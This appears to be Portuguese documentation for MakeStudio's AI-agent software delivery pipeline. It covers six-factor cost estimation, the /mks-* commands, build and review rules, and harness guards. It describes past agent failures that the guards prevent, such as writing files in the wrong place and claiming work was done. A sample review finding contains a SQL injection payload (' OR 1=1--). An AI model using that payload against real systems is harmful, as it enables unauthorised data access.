O que é a Esteira de Entregas
A Esteira é o processo industrial do MakeStudio: um conjunto de fases, portões e regras — todos aplicados em código, pelo harness — que transforma uma ideia num sistema entregue, com preço auditável antes de começar e calibração depois de terminar. Nenhuma etapa depende de o agente "se comportar": o sistema bloqueia o erro antes dele acontecer.
| Problema clássico do desenvolvimento com IA | Como a Esteira resolve |
|---|---|
| Escopo difuso — "faz um sistema de X" não cabe num prompt | Decomposição obrigatória: entrega → trilha → tarefa, cada tarefa com critérios de aceite objetivos |
| Custo opaco — ninguém sabe quanto cobrar nem quanto vai dar | Fase 0 com moeda própria (UE) derivada de 6 fatores classificados, motor de preço parametrizado |
| IA que "acha que terminou" — reporta feito sem estar no disco | Padrões estruturais: auditoria de artefatos, build, deploy e verificação pós-deploy são requisitos de "concluído" |
| Repositório sujo — commits na main, push sem permissão | Regras P1–P8 aplicadas em código pelo harness, não em prompt |
| Conhecimento que evapora — cada sessão recomeça do zero | Memória estruturada: overview, planos, relatórios e calibração persistidos e versionados no workspace |
Custear o sistema antes de entrar na esteira
A Fase 0 acontece antes de qualquer linha de código — o cliente precisa saber quanto o sistema custa antes de autorizar o desenvolvimento. O método: classificar atributos qualitativos e deixar a fórmula derivar o número. O estimador não chuta horas; ele classifica.
A moeda: o que é (e o que NÃO é) uma Unidade de Entrega
Toda a Esteira negocia em Unidades de Entrega (UE) — e entender esta moeda é pré-requisito para tudo que segue. Quando algum comando imprimir DU (Delivery Unit), é o mesmo número sob o nome interno do motor: leia sempre como UE. A definição formal: UE é a unidade que mede o ESCOPO DE RESULTADO de um trabalho de entrega. Ela não mede tempo, não mede esforço, não mede linhas de código — mede quanto de resultado aquele trabalho carrega.
Por que não as unidades que você já conhece
| Unidade | O que mede | Por que não serve pra cá |
|---|---|---|
| Horas | Esforço do EXECUTOR | Varia com quem executa (sênior, júnior, agente): a mesma feature são 4h ou 3 dias conforme a mão. Mede o fornecedor, não o trabalho — e o preço fica refém da produtividade de quem vendeu barato |
| Story points | Complexidade RELATIVA a um time | Nunca saem do time que os criou ("pra nós, um 8 é..."). Não são comparáveis entre projetos, nem entre clientes, nem no tempo — impossível calibrar uma operação com isso |
| Linhas de código | Volume de artefato | Boilerplate infla, refactor encolhe — o volume não tem relação estável com valor entregue |
| UE | Escopo do RESULTADO | Absoluta (o mesmo número vale em qualquer projeto), deriva de fatores classificados (auditável), e é corrigida por medição real (calibrável). É a única das quatro que sobrevive a "quem fez, como fez e quando fez" |
Como uma UE nasce — o pipeline do número, estágio a estágio
Cinco estágios, cada um respondendo UMA pergunta. Os números em azul acompanham a story-exemplo do motor (Medium + High, R3, Incerteza M, Governança M, Urgência Normal) do início ao fim.
A âncora — e por que justamente 28
28 UE é o tamanho de uma tarefa mediana bem-fatida — a régua de sanidade da decomposição. Story calculada muito acima da âncora (3×, 4×) é story grande demais: quebre em duas. Muito abaixo (0,2×, 0,3×) é poeira: junte com a vizinha. Estimativas muito distantes da âncora exigem justificativa escrita. E o 28 não é dogma: é o pivô de calibração — quando a medição real de um repo mostra desvio sistemático, a âncora ajustada (âncora × fator do repo) corrige as estimativas seguintes. A moeda aprende.
Da UE ao real — três números, três papéis
| Número | Valor default | Quem decide | Papel |
|---|---|---|---|
| UE | — | A fórmula, dos fatores | Mede o escopo. É o único número que o trabalho produz |
| Rate (R$/UE) | R$ 130 | Comercial (rate-card, editável no delivery.json) | Converte escopo em custo. Trocar o rate NÃO muda as UEs |
| Margem | 20% | Comercial | Aplicada por último, à mostra — o lucro nunca vem escondido dentro do número |
story classificada: Size Medium (1,0) + Complexity High (1,9), R3, Incerteza M, Governança M, Urgência Normal → 164 UE custo = 164 UE × R$ 130 = R$ 21.320 (escopo × rate) preço = R$ 21.320 × (1 + 20%) = R$ 25.584 (custo × margem) proposta = 164 UE com buffer já embutido, tabela fator a fator — auditável
As cinco propriedades que fazem a UE funcionar como moeda
| Propriedade | O que significa na prática |
|---|---|
| Auditável | Cada UE traça aos fatores que a produziram — o cliente pode perguntar "por que 164?" e receber a conta fator a fator, não um chute com casas decimais |
| Comparável | O mesmo número significa o mesmo escopo em qualquer projeto, time ou ano — 156 UE do ContrataCRM são comparáveis com 156 UE de qualquer sistema futuro |
| Calibrável | O custo real medido corrige a âncora por repo (cold/hot) — a moeda se aproxima da realidade de produção a cada entrega |
| Estável contra mexerica | Escopo mudou = nova classificação e novo número. Nunca "ajusta" o número pra cima quando o trabalho atrasa — atraso é problema de produção (custo), não de escopo (preço) |
| Conversível | × rate → R$. A conversão é comercial e explícita; a UE em si nunca é denominada em dinheiro |
Como uma UE "morre" — o consumo medido
Estimada, a story é executada e o /mks-meter grava o custo real (normalizado em UE) como actual no ledger, junto com o footprint do diff. Estimado e medido se confrontam: a razão entre eles é o fator de calibração do repo. É assim que a moeda fecha o ciclo — nasce de classificação, morre de medição, e a diferença entre as duas ensina a próxima estimativa.
O modelo de 6 fatores — a matéria-prima do número
Cada story é classificada por 6 fatores. Size e Complexity (aditivos) medem o trabalho em si; os outros 4 (multiplicativos) ajustam pelo contexto. Todos os valores abaixo vêm do motor (src/delivery/estimation/factors.ts) — não são ilustração.
| Fator | Pergunta que responde | Quem classifica |
|---|---|---|
| Size | Qual o tamanho bruto do trabalho? | O agente propõe (auto), você confirma |
| Complexity | Qual a dificuldade técnica? | O agente propõe (auto), você confirma |
| Responsibility | Se falhar em produção, o que acontece? | Tabela + sua confirmação (gate com WAIT) |
| Uncertainty | Eu sei exatamente como fazer isso? | Tabela + sua confirmação |
| Governance | Quantas aprovações e trilhas o domínio exige? | Tabela + sua confirmação |
| Urgency | Tem prazo contratual curto? | Tabela + sua confirmação |
Size — tamanho bruto
| Very Small | × 0,50 |
| Small | × 0,75 |
| Medium | × 1,00 |
| Large | × 1,50 |
| Very Large | × 2,00 |
Complexity — dificuldade técnica
| Very Low | × 0,75 |
| Low | × 1,00 |
| Medium | × 1,40 |
| High | × 1,90 |
| Very High | × 2,50 |
Responsibility — dano de um defeito
| R1 | × 1,00 | reputacional |
| R2 | × 1,20 | financeiro contornável |
| R3 | × 1,45 | financeiro/legal |
| R4 | × 1,75 | dados críticos |
| R5 | × 2,10 | vida/saúde |
Uncertainty — território conhecido?
| Very Low | × 0,90 |
| Low | × 1,00 |
| Medium | × 1,15 |
| High | × 1,35 |
| Very High | × 1,60 |
Governance — burocracia do domínio
| Very Low | × 0,95 |
| Low | × 1,00 |
| Medium | × 1,10 |
| High | × 1,25 |
| Very High | × 1,45 |
Urgency — prazo
| Low | × 0,95 |
| Normal | × 1,00 |
| High | × 1,20 |
| Critical | × 1,50 |
A fórmula — do fator ao número
exemplo real (Story de exemplo do motor): Size Medium (1,00) + Complexity High (1,90) = esforço 2,90 × R3 (1,45) × Incerteza Medium (1,15) × Governança Medium (1,10) × Urgência Normal (1,0) = ajustado 5,30 × 28 UE por ponto de score = 148,4 × (1 + 10% buffer) = 163,3 → ceil = 164 UE
delivery.json (âncora 28 · rate 130 · buffer 10% · margem 20%) — são decisão de rate-card, editáveis, nunca multiplicador escondido.Fallback por contagem — quando os fatores não são classificados
Se a entrevista não classifica os 6 fatores, a engine usa o modelo de contagem, baseado em sinais objetivos da spec: UE = base 8 + critérios×4 + repos×6 + seções×3. Defensável, mas perde a sensibilidade de contexto (R4 × R1 = 75% de diferença que a contagem não enxerga).
Os parâmetros — a assinatura dos comandos da Fase 0
| Comando | Assinatura | Por que existe / como usar |
|---|---|---|
/mks-init | (sem argumentos) | Tudo é perguntado na entrevista interativa — repos, linguagem, defaults. Recusa pasta que já é repo de código (hard guard) |
/mks-onboard | [<foco extra>] | Opcional: um subsistema pra olhar primeiro ("olha o módulo de billing antes") — direciona o scan quando o projeto é grande e você já suspeita de onde vem a dor |
/mks-explore | <problema ou ideia> | A descrição livre do problema vira o fio condutor da exploração; se casar com workstream existente, o brainstorm entra lá |
/mks-interview | [<workstream>] | Opcional: diretório ou slug da workstream alvo; sem ele, usa a ativa. Match por dir exato ou slug parcial |
/mks-quote | (sem argumentos) | Lê o escopo já estruturado da(s) workstream(s) ativa(s) e aplica a fórmula — não há o que parametrizar |
O gate humano — o fim da Fase 0
A Fase 0 termina com um documento de estimativa apresentado ao cliente: marcos, entregáveis, UE por entregável, total em R$, validade e fora-de-escopo. Nada entra na Esteira sem aprovação explícita — e a aprovação fica registrada. O custo de estimar (5–10% do projeto) economiza os 50% de imprevisto do "chuta que é mais ou menos 2 semanas".
Plan — o nascimento do sistema
A Fase Plan é onde uma ideia vira um contrato executável. Cada decisão tomada aqui propaga por todo o ciclo: o overview define o que o cliente compra, o breakdown define o que será testado e quanto custa, a arquitetura define como o código se organiza, e os critérios de aceite definem quando algo está "pronto". É o momento de maior alavanca do projeto — um erro de escopo aqui custa 10× mais para corrigir no Build, e 100× mais se chegar ao cliente em produção.
Antes de operar: o território — um workspace, N repositórios
A Esteira separa o mundo em dois: o workspace (o repositório da análise, onde a Esteira vive e todo o processo é versionado) e os repositórios de código (o código-fonte real do sistema, registrado dentro do workspace, em delivery/repos/). Entender esta separação é pré-requisito para operar qualquer comando — é o mapa do território.
Como fica no disco — a anatomia completa
meu-projeto/ ← WORKSPACE (o repositório da análise) ├── delivery/ │ ├── delivery.json ← parâmetros: UE, rate, margem, pesos, REPOS REGISTRADOS │ ├── rules/ ← plan.md · build.md · harden.md (+ overlays do projeto) │ ├── context/ ← knowledge store: DDLs, contratos, PDFs, glossário │ ├── templates/ ← overview, estimate, integration-test, bug │ ├── calibration.json ← ledger estimado vs. real (o que o board e o motor leem) │ ├── workstreams/ │ │ ├── active/20260920-system-contrata/ │ │ │ ├── overview.md ← o que o cliente compra (blueprint) │ │ │ ├── architecture.md ← a fundação (arquiteto) │ │ │ ├── track-1-fundacao/ │ │ │ │ ├── functional/story-0001-*.md ← spec + critérios (breakdown) │ │ │ │ └── build-plans/story-0001-*-build-plan.md ← plano técnico (techplan) │ │ │ └── validation-reports/ ← evidência do validate + bugs/ (harden) │ │ ├── completed/ · archived/ ← ciclo de vida da entrega │ ├── repos/ ← O CÓDIGO-FONTE REAL VIVE AQUI (dentro do workspace) │ │ ├── backend/ ← repo registrado no init (clone git OU symlink local) │ │ └── web/ ← segundo repo — a Esteira orquestra vários de uma vez │ └── pentest-audits/ ← configs/shannon.yaml + runs/YYYYMMDD-NNNN/ └── (NUNCA código de aplicação na raiz — o workspace é control plane)
Como os repositórios entram no workspace
| Registro | Como fica | Quando usar |
|---|---|---|
| Git URL | A Esteira faz git clone — o código vive copiado dentro de delivery/repos/<nome>/ | Repo remoto (GitHub, GitLab, servidor do cliente) |
| Path local (symlink) | A Esteira cria um symlink — o código CONTINUA onde estava (nada é movido nem copiado), e delivery/repos/<nome>/ apenas aponta para lá | Seu projeto já existe nesta máquina e você não quer duplicá-lo |
pom.xml, package.json, Cargo.toml etc., ele PARA na hora e diz: "Esta pasta já é um repositório de código. O Delivery Engine roda no próprio workspace, separado do código. Crie uma pasta nova e rode /mks-init lá — depois eu registro este projeto como repositório (local via symlink, ou pelo git URL)". O estado híbrido (Esteira embutida no repo de código) é exatamente o que faz o Build improvisar e escrever source no lugar errado — por isso não existe como opção, nem a pedido.Como você opera — a Esteira é uma conversa em comandos
Não existe botão, formulário nem "fluxo contínuo": você opera a Esteira digitando um comando por vez no chat. O especialista daquele comando assume (Consultor, Arquiteto, Dev Team…), faz o trabalho, e devolve o controle apontando o próximo passo. Um comando = um passo do processo — nunca um "faça tudo".
Como saber qual é o próximo comando — três formas
| Forma | O que você vê |
|---|---|
| O comando anterior avisa | Toda skill termina apontando o próximo passo: o blueprint encerra com "rode /mks-breakdown all ou track-N", o techplan com "rode /mks-build", o validate com o resultado e os bugs delegados. Você nunca termina um comando sem saber o candidato a próximo |
| O board sugere | O lifecycle deriva o estágio real da evidência em disco e o /mks-board (ou a dashboard /delivery) mostra a próxima ação sugerida com o comando pronto — e nos modos guiados, o gate só libera o avanço com seu aceite registrado |
| A jornada é o mapa | A seção 10 traz a ordem canônica com o porquê de cada posição — para quando você quiser entender em vez de seguir sugestão |
A sequência do Plan — quatro comandos, uma ordem
architecture.md produzido é a base que TODOS os techplans referenciam — decisão única, em vez de cada story re-discutir stack.Os parâmetros — a assinatura dos comandos do Plan
| Comando | Assinatura | Por que existe / como usar |
|---|---|---|
/mks-blueprint | <descrição ou diretório existente> | Descrição livre vira workstream nova; se o argumento casa com diretório existente (ex.: criado pelo explore), REUSA — overview e brainstorm daquela entrega continuam |
/mks-breakdown | [<workstream>] <all | track-N> | Escopo obrigatório: all quebra todas as tracks, track-2 só a trilha 2 — permite detalhar a fundação primeiro e o resto depois do feedback |
/mks-architecture | <workstream> | Obrigatório — a fundação é de uma workstream específica; match parcial, múltiplos → pergunta |
/mks-board | [complete|archive <workstream>] | Sem args = status. complete/archive movem a entrega no fim do ciclo (com limpeza de worktrees e sync kanban) |
/mks-ticket | <descrição do bug ou atividade> | Descrição livre — a skill classifica bug vs atividade e vigia o escopo (2+ stories → recomenda /mks-blueprint) |
Quem escreve onde — a fronteira por comando
| Comando | Escreve em | Nunca toca |
|---|---|---|
/mks-init | delivery/ — config, rules, estrutura | Código de aplicação |
/mks-explore | workstreams/<ws>/brainstorm.md | Qualquer outra coisa |
/mks-blueprint | overview.md + presentation.html + estimate.md (TBD) | Código, DU real |
/mks-breakdown | track-N/functional/story-*.md + calibration.json | Código |
/mks-architecture | UM arquivo: architecture.md | Tudo mais (guardrail absoluto) |
/mks-techplan | UM arquivo: build-plans/story-*-build-plan.md | Código (é plano, não implementação) |
/mks-build | delivery/repos/<repo>/ — branch workstream/<ws>/<story> | A raiz do workspace (precondição dura) |
/mks-validate | validation-reports/ + evidence/ + bugs/ | Texto de critério |
/mks-pentest | pentest-audits/runs/ | O repo do cliente (só LÊ p/ atacar) |
/mks-release | delivery.json + README.md + git tag | — |
implement.useWorktree: true no delivery.json, o build não implementa no repo principal: cria uma cópia de trabalho isolada em delivery/repos/.worktrees/<branch>/<repo>/. O repo principal fica na branch principal, intocado e consultável, enquanto a story vive na worktree. Ao concluir/arquivar, o /mks-board varre e limpa as worktrees órfãs.api + web é orquestrada de um lugar só; (4) o pentest lê sem sujar — white-box contra delivery/repos/, com artefatos de ataque isolados em pentest-audits/.Executar de novo — o que acontece com cada comando
Nada na Esteira explode com re-execução — mas cada comando tem uma política diferente. Esta é a tabela de bolso:
| Comando | Quantas vezes | Re-executar faz o quê |
|---|---|---|
/mks-init | 1× por projeto | Nunca sobrescreve: detecta o delivery.json existente, reporta a config atual e pergunta o que mudar (adicionar repos, ajustar defaults, ou abortar) |
/mks-explore | À vontade (um por problema) | Regrava o brainstorm.md. Proteção: se o brainstorm fica mais novo que o overview, o board considera o overview VELHO e para de sugerir breakdown — exploração nova invalida planejamento antigo |
/mks-blueprint | 1× por workstream (iterável) | Se o diretório já existe (criado pelo explore), REUSA — não duplica. Dentro da mesma execução, o escopo itera via planos até sua aprovação; aprovado, o escopo trava |
/mks-breakdown | 1× por track (ou all) | Re-detalhar atualiza as stories da track e regrava os DU no ledger — o parser tolera e deduplica os formatos, nada duplica |
/mks-architecture | 1× por workstream | Reescreve o ÚNICO arquivo — decisão de fundação é una; re-rodar de propósito é re-decidir com consciência |
/mks-techplan | 1× por story | Re-planeia a story (reescreve o build-plan). Normal só quando o plano mudou de verdade — plano é fronteira de retomada, trocá-lo no meio do build exige reler o checklist |
/mks-build | À vontade — feito para re-rodar | É o comando mais seguro de repetir: o checklist é o estado durável — itens [x] já feitos são pulados, só os pendentes executam; branch existente é REUTILIZADA, não recriada. Retomar pós-crash/compactação é o design, não acidente |
/mks-review | À vontade — idempotente | Auto-fixa Critical/High (commits por fix). Mesmo diff → relatório cacheado (diff-hash) e exit 0; diff novo → incremental. Depois de corrigir findings, re-rodar é o esperado |
/mks-validate | À vontade — esperado após fixes | Re-testa os critérios; relatórios SEMPRE sobrescrevem os da run anterior (o git é o histórico de auditoria). Modo track revalida até zerar bloqueantes — e a última run re-testa tudo |
/mks-pentest | À vontade (1× por marco é o comum) | NUNCA sobrescreve: cada run ganha número próprio, global e monotônico (runs/YYYYMMDD-NNNN/) — o histórico de auditoria é sagrado |
/mks-release | 1× por versão | Versão igual à atual ABORTA (tag duplicada é erro de operação). Nova versão = novo release completo, com novo changelog |
/mks-story | À vontade | É um pino: apontar Troca a story ativa, off desliga. Zero efeito colateral além da atribuição de medição |
/mks-meter · /mks-calibration · /mks-board · /mks-doctor | À vontade (leituras) | Meter atualiza o custo da story ativa; calibration e board relêem o disco; doctor re-diagnostica. Leitura nunca estraga estado |
Escrever critérios de aceite que prestam
| ❌ Critério ruim | ✅ Critério bom | O que o ruim produz |
|---|---|---|
| "O login funciona" | "Dado usuário ativo com senha correta, ao submeter o login, o sistema cria sessão e redireciona para /dashboard em <2s; com senha errada, exibe mensagem genérica sem revelar se o e-mail existe" | Validação cega: ninguém consegue dizer "passou ou falhou" |
| "Sistema rápido" | "Listagem de 1.000 registros carrega em <800ms no p95" | "Rápido" não se testa; p95 sim |
| "Exporta CSV" | "Ao clicar Exportar, baixa contracts.csv com as colunas do filtro ativo, codificação UTF-8 com BOM (abre em Excel sem desconfigurar acentos)" | O QA descobre "qual CSV?" no meio da validação |
perAcceptanceCriterion) — critério é compromisso, trate-o como tal.Build — onde o código nasce (com supervisão)
O Build é um ciclo por story: plano técnico antes, implementação em branch própria, revisão de 4 lentes com auto-correção depois. O agente executa; o harness confere cada afirmação. Nada aqui depende de confiança — tudo depende de evidência.
O ciclo de cada story
Os parâmetros — a assinatura completa de cada comando
Esta é a tabela de consulta: o que cada comando aceita, o default, e por que o parâmetro existe. Nenhum comando silencia flag desconhecida — erra o nome e ele aborta avisando (errar é seguro, digitar errado sem saber não).
| Comando | Parâmetro | Default | Por que existe / como usar |
|---|---|---|---|
/mks-techplan | <workstream> | — (obrigatório) | Match parcial contra os diretórios ativos; bate mais de um → lista e pergunta. Sempre confirma — nunca assume "a única ativa" por você |
<story> | — (obrigatório) | Número (0001) ou slug (login-form); a busca varre todas as tracks. Story inexistente → aborta ("rode /mks-breakdown primeiro") — build-plan órfão não aparece no board | |
/mks-build | <workstream> <story> | — (obrigatório) | Igual ao techplan. Sem build-plan da story → aborta na hora: nunca improvisa da spec funcional |
[phase-N] | omitido = plano inteiro | Retomada cirúrgica: implementa só a fase N do plano — útil quando o turno anterior parou no meio | |
[task-N] | omitido = todas | Ainda mais fino: uma única task. Combine com o checklist para corrigir exatamente o item que quebrou | |
| (pergunta interativa) | sugere develop/main | Antes de criar branches, pergunta a base de CADA repo impactado — a base é decisão sua, não do agente | |
/mks-review | --force | off | Ignora o cache de diff: re-roda o review mesmo se o diff não mudou desde a última run |
--no-confirm | off | Pula o painel de confirmação de contexto — para rodar em script/fila | |
--no-auto-fix | off | Desliga a auto-correção: só reporta findings, não mexe em código. É o modo TRIAGEM — quando você quer ver o quadro antes de decidir | |
--auto-fix-min=<critical|high> | high | Severidade mínima que entra na auto-correção. Default corrige High E Critical; passe critical quando a suíte de testes é lenta demais para absorver fixes de High a cada run | |
--allow-deps | off | Permite o auto-fix adicionar dependência nova no topo do repo. Sem a flag, finding que exigiria dep é marcado [AUTO-FIX SKIPPED] — dependência é decisão humana | |
--base=<branch> | auto-detectado | Sobrescreve a detecção da branch base — para PRs empilhados sem metadado do GitHub ou para forçar o diff contra o trunk | |
--story=<slug> | unset | Afina para UMA story quando o branch carrega várias | |
--repo=<name> | multi-repo | Por padrão TODOS os repos com diff não-vazio entram na run; a flag restringe a um | |
/mks-review-profile | --refresh | — | Regenera o perfil do zero (re-scan + re-entrevista) — quando a stack mudou |
--update=<section> | — | Re-entrevista só uma seção (ex.: hot-files, severity-overrides) sem mexer no resto | |
--show | — | Imprime o perfil atual e para | |
--repo=<name> | pergunta | Escolhe o repo alvo direto (senão: flag → caller → cwd → menu) | |
/mks-story | <id> | — | Aponta a story ativa: todo consumo medido passa a ser atribuído a ELA |
| (vazio) | — | Mostra qual story está ativa | |
off | — | Desliga a atribuição (o consumo vira órfão de story) | |
/mks-meter | record [<id>] | id = story ativa | Grava o custo medido como actual no ledger — e o multi-stack gate exige arquivos tocados em CADA layer taggeado antes de fechar |
| (vazio) | — | Relatório de custo da sessão — leitura pura |
Techplan — a ponte do escopo pro código, com regras próprias
O Tech Lead pega UMA story e produz o build-plan: o documento de intenção que o /mks-build vai executar. Ele entra em plan mode, lê a cadeia de contexto inteira, entrevista você sobre as decisões técnicas, e escreve exatamente um arquivo. Guardrails absolutos: nunca implementa código, nunca roda build/teste, nunca escreve fora do build-plan.
As duas precondições duras — e o que o abort ensina
| Precondição | Se falta | Por que é dura |
|---|---|---|
A story tem spec funcional — em QUALQUER formato aceito: o canônico story-NNNN-*-functional.md, specs/, diretório story-NNNN/ com NNNN.md dentro, ou o arquivo plano track-N/story-NNNN.md que modelos menores produzem | Aborta: "a story não foi detalhada — rode /mks-breakdown primeiro" | Build-plan de story sem spec é ÓRFÃO: não aparece no board (o sync conta só stories) nem no lifecycle — deixa a workstream inconsistente. O parser tolerante existe pra achar a spec em qualquer forma; se NÃO achou, é porque ela não existe |
Pelo menos um repo configurado em delivery/repos/ | Aborta: "Nenhum repositório configurado. Rode /mks-init e registre o repo — o Delivery Engine nunca escreve código na raiz do workspace" | É a armadilha real do workspace vazio: sem repo, o agente INVENTA um path na raiz e escreve no lugar errado. A precondição mata a classe do erro, não o caso |
A cadeia de contexto — o que ele lê (e o que recusa ler)
Dois detalhes que surpreendem: (1) a arquitetura é precondição SOFT — sem architecture.md ele recomenda rodar /mks-architecture primeiro e só prossegue se você pedir pra pular (derivando decisões conservadoramente e anotando no plano que não havia fundação); (2) ele NÃO lê os critérios de aceite — são reservados ao /mks-validate. O planejador técnico não conhece os critérios de aprovação: cada papel vê o que precisa, nada além.
A entrevista técnica — decisões, não impressões
Múltiplas rodadas, começando no nível arquitetural e descendo ao específico: escolhas de tecnologia, padrões a seguir, edge cases, tratamento de erro, performance. Resposta vaga não passa — ele pede decisão concreta. E ele desafia: vê alternativa melhor, propõe. O plano só é escrito depois que as dúvidas técnicas acabam e você aprova a estrutura proposta.
Anatomia do build-plan — o que o arquivo contém
| Bloco | Regra | Por quê |
|---|---|---|
| Só o DELTA | O que a story ADICIONA sobre architecture.md e a spec — o resto é referência (see architecture.md), nunca repetição de overview/user flow | Documento que repete informação apodrece quando a origem muda; referência não apodrece |
| Tasks em ordem | Paths exatos sob delivery/repos/<repo>/, uma linha de descrição cada. Quando a story taggeia múltiplos layers (**Repos:** api, web), o plano ganha uma subseção por layer (### Tasks — api, ### Tasks — web) | Layer taggeada sem task nenhuma é sintoma de tag errado: ou a task falta, ou o Repos: mente — a regra expõe os dois |
| Shapes por nome | Entidade = colunas + tipos + relações-chave; endpoint = método + path + auth; DTO = lista de campos. Snippet ≤5 linhas só para desambiguar uma assinatura difícil | Suficiente pra o Dev construir sem perguntar; insuficiente pra virar código colado |
| Checklist | Um - [ ] por task — o estado durável que o build marca [x] | É a fronteira de commit E o ponto de retomada entre sessões |
| Riscos da story | Só os específicos dela — riscos estruturais são do architecture.md | Cada documento carrega o seu nível, sem duplicar o vizinho |
| Modo trivial | Story simples (um CRUD, um endpoint, validação comum) = lista de 3-6 tasks, sem phases nem seção de shapes | Cerimônia proporcional ao trabalho — inflar plano de story boba é o anti-padrão gêmeo do plano de 462 linhas |
entity Contract: id UUID pk · tenant_id FK · status enum(draft,active,closed)
· starts_on DATE · ends_on DATE · version INT
endpoint POST /api/v1/contracts — auth: bearer + tenant scope
DTO ContractCreate: customer_id, plan_id, starts_on, ends_on, notes?Terminou? O Tech Lead sai do plan mode, chama AdvancePhase com o stage correspondente (justificativa nomeando a story/plano) e aponta o próximo passo: /mks-build <workstream> <story> — que não roda sem este arquivo.
Build — a execução com estado durável
O build executa o plano item a item do checklist, validando antes de commitar — em branch própria por repo, com o disco como memória. É o único comando da Esteira desenhado para ser interrompido e retomado quantas vezes o mundo precisar.
O protocolo, passo a passo
phase-N/task-N se passado). Sem build-plan → aborta; sem repo configurado → aborta. Com /mks-story <ws>/track-N/story-NNNN antes de começar, o consumo de tokens já nasce atribuído à storyworkstream/<ws>/<story> (ou reutiliza, se retomando — verificando a base). Com useWorktree: true, tudo acontece na cópia isolada e o repo principal fica intocado. Lê o CLAUDE.md de cada repo antes de mexergit ls-files): para cada - [ ], o arquivo-alvo já existe? Existe → [x] (o trabalho de sessão passada não refaz). Daí pra frente, só os itens desmarcados[x] → commit com mensagem derivada do item (quando autoCommit)acceptance-criteria.md é arquivo SEPARADO do checklist — e é ELE que a dashboard lê para "done". Marcar só o build-plan deixa a story em 0/N pra sempre. Cada critério é verificado contra o código real (re-lê o arquivo/teste, sem carimbo); o que não dá pra confirmar de código fica desmarcado — e dito/mks-meter record soma o consumo taggeado, grava o actual no calibration.json e reporta o delta estimado-vs-real numa linha; /mks-story off limpa o pino. Escopo parcial (phase-N que não fechou a story) NÃO grava actual — medição de story é de story inteiraOs settings que mudam o comportamento
Setting (implement.*) | Default | Controla |
|---|---|---|
autoCommit | true | Commit automático por item validado (mensagem derivada do item) — desligado, os commits são seus |
autoPR | true | Cria o PR draft por repo ao concluir o escopo |
useWorktree | false | Implementa na cópia isolada (.worktrees/) em vez do repo principal — todas as operações usam o path da worktree |
ls/grep como memória é perder o mapa a cada round-trip e re-escanear o repo pra sempre (o loop real observado: dezenas de re-scans, agente em círculos). As regras: UM scan de árvore no início; paths do plano são intenção, o repo é a verdade; o checklist é o progresso; resultado truncou → re-lê o ARQUIVO específico, nunca re-varre o repo.delivery/repos/ está vazio, o build ABORTA — nunca improvisa caminho na raiz do workspace. Isso não é paranoia: é a regressão real em que o agente, sem repo registrado, inventou src/main/java/... na raiz e escreveu 19 arquivos no lugar errado, zero rastreio. A precondição dura existe para que essa classe de erro seja impossível.Review — 4 lentes que CORRIGEM, não só apontam
O review roda 4 subagentes paralelos e consolida os findings — e aqui está o que quase todo mundo erra ao ler esta seção: Critical e High são auto-corrigidos por default. Cada correção é validada por build + testes e commitada atomicamente antes de ir pro relatório. O review não te entrega uma lista de tarefas — entrega os problemas graves já resolvidos, com o SHA do commit de cada fix.
| Lente | Pergunta que faz | Exemplo REAL de finding |
|---|---|---|
| Segurança | O que um input malicioso faz aqui? | "Query montada por concatenação no filtro de busca — injeção SQL com um ' OR 1=1--" |
| Performance | Escala? O que cresce com N? | "Consulta dentro do loop de listagem — N+1: 100 contratos = 101 queries" |
| Qualidade de código | A lógica está certa nos bordos? | "Off-by-one no slice(0, n-1): o último registro nunca é processado quando n = len" |
| Padrões do projeto | Fere as convenções DESTE repo? | "Handler fora da camada de serviço definida no profile — mistura HTTP com regra de negócio" |
REJECT) — crítico sem correção não pode passar. Auto-fix de High que falha NÃO bloqueia: o finding fica no relatório como informativo e o veredito pode ser APPROVE WITH CHANGES. Medium e abaixo nunca são auto-corrigidos — são reportados para você decidir.reviews/<branch>/diff-hashes.json. Rodar de novo com o MESMO diff → imprime o relatório e veredito cacheados e sai (exit 0). Diff novo → modo incremental: só o que mudou desde o snapshot da review anterior entra na nova rodada. --force derruba o cache quando você quer re-roda por completo.delivery/rules/code-review/<repo>/profile.md, o review não roda: ele invoca o /mks-review-profile na hora e espera a entrevista terminar. Nenhum repo é revisado às cegas. E cada run alimenta o lessons.md do repo — os erros que already doeram viram checagens das próximas runs. O review aprende com a história do projeto.O relatório vive em reviews/<branch>/CURRENT.md (por branch, sobrescrito a cada run — o git é o histórico). Stories em completed/ ou archived/ são recusadas: "Completed stories are read-only" — pós-release vira story nova.
Quando uma story está "done" — o gate completo
1. O build-plan foi seguido (todas as tasks completadas)
2. O código está no disco (verificado com git diff — não confiamos no "eu escrevi")
3. Typecheck passa nas DUAS configs (strict e lenient)
4. Testes verdes (incluindo os irmãos via spec-gate)
5. Review sem críticos EM ABERTO (High auto-fixado ou documentado)
6. Commits atômicos feitos no branch da story
7. PR draft criado com descrição
Só então o board marca "done" e a próxima story começa.
Os guardas do harness — o que roda em cada turno
| Guarda | Quando dispara | O que faz |
|---|---|---|
| Spec-gate | Fim de turno com edits | Roda os testes irmãos dos arquivos editados; vermelho arma auto-correção ou rollback |
| Shadow-audit | Fim de turno | Compara o diff feito vs. o que foi pedido; mudança além do escopo vira finding com evidência |
| Danger-gate | Antes de todo Bash | Pontua risco do comando (0-100); acima de 60 exige aviso vermelho antes de executar |
| Rollback transacional | Turno que fecha em vermelho | Restaura os snapshots pré-edit do turno — nada parcial fica |
Harden — a última linha de defesa antes do cliente
Harden é onde você descobre se o que foi construído realmente funciona — não se o código compila (isso o Build já garantiu), mas se o usuário consegue usar o sistema como especificado. E se um atacante consegue entrar onde não devia. É a diferença entre "funciona na minha máquina" e "funciona para quem paga a conta".
Os dois portões — o que cada um protege
| Portão | O que protege contra | Como testa | Se pular… |
|---|---|---|---|
| Validação | Funcionalidade quebra em uso real | Browser agent executa cada critério de aceite literalmente | Usuário encontra o bug no primeiro clique — confiança vai embora |
| Pentest | Segurança exploração de vulnerabilidades | Auditoria ofensiva: OWASP, injeção, auth bypass, IDOR | Vulnerabilidade descoberta por atacante real (ou por auditoria do cliente) |
Portão 1: Validação — como o browser agent funciona
O /mks-validate não é um teste unitário nem um teste de integração. É um teste de aceitação comportamental: um agente abre um browser de verdade, navega no sistema como um humano faria, e verifica se cada critério escrito no Plan se cumpre.
O ciclo interno do validador — o que acontece em cada critério:
Como um relatório de validação se parece:
/mks-validate. Só quando TODOS os critérios passam o story está pronta para release.Os modos de invocação — story, tool ou track inteira
| Comando | O que faz |
|---|---|
/mks-validate <workstream> <story> | Valida uma story com todas as tools habilitadas |
/mks-validate <workstream> <story> --tool=<name> | Uma story com UMA tool específica (mcp-playwright ou agent-browser) — as demais são puladas |
